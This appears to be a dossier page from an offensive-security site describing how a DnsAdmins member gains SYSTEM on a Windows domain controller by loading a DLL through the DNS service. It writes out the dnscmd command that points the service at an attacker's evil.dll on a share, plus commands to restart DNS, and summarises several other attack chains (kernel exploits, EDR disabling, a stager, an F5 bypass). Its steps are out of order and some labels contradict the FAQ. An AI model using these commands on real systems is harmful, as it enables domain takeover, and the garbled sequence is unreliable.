DnsAdmins membership → SYSTEM on the DC

§ Context

Assumed environment: a compromised principal is in DnsAdmins. The DNS server role is hosted on the DC (default). Mitigated since 2021 with prerequisite admin checks — verify version.

§ Steps

1. 01
   Principal in DnsAdminsInitial Access

   T1078— Valid Accounts
2. 02
   Restart DNS serviceExecution

   T1059— Command and Scripting Interpreter

   sc \\<dc> stop dns; sc \\<dc> start dns — DnsAdmins can do this in some configs.

3. 03
   SYSTEM exec on the DCCredential Access

   T1003.003— NTDS
4. 04
   dnscmd \\<dc> /config /serverlevelplugindll \\<share>\evil.dllPrivilege Escalation

   AD-GROUP-DNSADMINS— DnsAdmins → SYSTEM on DC
5. 05
   Host malicious DLL on a writable share

§ References

• T1078Valid Accounts
• T1059Command and Scripting Interpreter
• T1003.003NTDS

§ Frequently asked

What is the "DnsAdmins membership → SYSTEM on the DC" attack path?

DnsAdmins members can load a DLL via the DNS service ServerLevelPluginDll registry value — the service runs as SYSTEM on the DC. It chains 5 steps drawn from real-world offensive-security techniques.

What starting position does this attack require?

The first step is Principal in DnsAdmins (T1078) — a initial access primitive. Assumed environment: a compromised principal is in DnsAdmins.

What is the final impact of this kill-chain?

The final step lands on dnscmd \\<dc> /config /serverlevelplugindll \\<share>\evil.dll (AD-GROUP-DNSADMINS), which falls under Privilege Escalation. From here, an operator typically pivots into post-exploitation or maintains persistence.

How can defenders detect or prevent this attack?

Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers

• Shared techniques2

  io_uring UAF → modprobe_path overwrite → root

  Use an io_uring UAF to land arbitrary kernel write, repoint /proc/sys/kernel/modprobe to an attacker binary, then trigger a kernel auto-modprobe — runs the binary as root.

• Shared techniques2

  nf_tables UAF → kernel R/W → root

  CVE-2024-1086-class nf_tables UAF reachable from a user namespace. Win the race with userfaultfd to land an attacker object in the freed slot, build a kernel R/W primitive, overwrite the current task's cred struct.

• Shared techniques2

  BYOVD → kernel-level disable of EDR callbacks

  From local admin, load a signed-but-vulnerable driver. Use its kernel primitive to walk the EDR's PsSetCreateProcessNotifyRoutine entries and unlink them — EDR stops receiving events while still 'running'.

• Shared techniques2

  Process doppelgänging → spawn signed image with attacker bytes

  Use NTFS transactional file APIs to overlay an attacker image during process creation. The final mapped process differs from the on-disk file — AV sees only the legit signed image at scan time.

• Shared techniques2

  certutil + bitsadmin → AV-friendly stager chain

  Initial access dropped a tiny .bat. It uses certutil to decode a base64 blob and bitsadmin to fetch the real beacon, then schtasks for persistence. Every binary is signed Microsoft.

• Shared techniques2

  F5 BIG-IP iControl auth bypass (CVE-2022-1388) → root on LB

  Connection-header smuggle bypasses iControl REST auth, command-injection RCE as root. Load balancers see all traffic — recover TLS keys, session cookies, internal SSO config.